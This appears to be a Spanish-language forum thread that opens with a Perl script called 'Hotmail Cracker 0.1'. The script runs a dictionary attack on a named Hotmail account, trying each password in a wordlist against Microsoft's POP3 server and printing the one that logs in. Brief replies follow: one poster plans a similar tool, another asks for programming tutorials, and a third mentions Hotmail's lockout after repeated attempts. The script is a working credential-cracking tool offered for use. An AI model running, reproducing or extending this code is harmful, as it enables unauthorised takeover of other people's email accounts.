#Hotmail Cracker 0.1#Coded By Doddy H#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppduse Mail::POP3Client;use IO::Socket::SSL;head();if($ARGV[0] and $ARGV[1]) {crackhot($ARGV[0],$ARGV[1]);} else {print "\n[+] Sintax : $0 <email> <wordlist>\n";}copyright();sub crackhot {my($user,$wordlist) = @_ ;unless(-f $wordlist) {print "\n[-] Wordlist not found\n";copyright();}print "\n[+] Loading wordlist\n";open(FILE,$wordlist);my @passwords = <FILE>;close FILE;print "\n[+] Words Found : ".int(@passwords)."\n";print "\n[+] Cracking...\n\n";for my $pass(@passwords) {chomp $pass;my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");my $nave = Mail::POP3Client->new();$nave->User($user);$nave->Pass($pass);$nave->Socket($so);if ($nave->Connect()) {print "\a\a\n[+] Email : $user\n";print "[+] Password : $pass\n";$so->close();$nave->close();copyright();}$so->close();$nave->close();}print "\n[+] Password not found\n";}sub head {print "\n\n-- == Hotmail Cracker == --\n\n";}sub copyright {print "\n\n(C) Doddy Hackman 2012\n\n";exit(1);}# The End ?
cuando termine unas cosas en PHP voy a hacer un programa con la misma finalidad en perl
Muy bueno gracias, de paso recomiendame algun tutorial de programacion por que no se que hacer con ese codigo, la programacion no es mi fuerte y te lo agradesco de ante mano.
Creo recordar que hotmail tenía un sistema de bloqueo del acceso después de X intentos.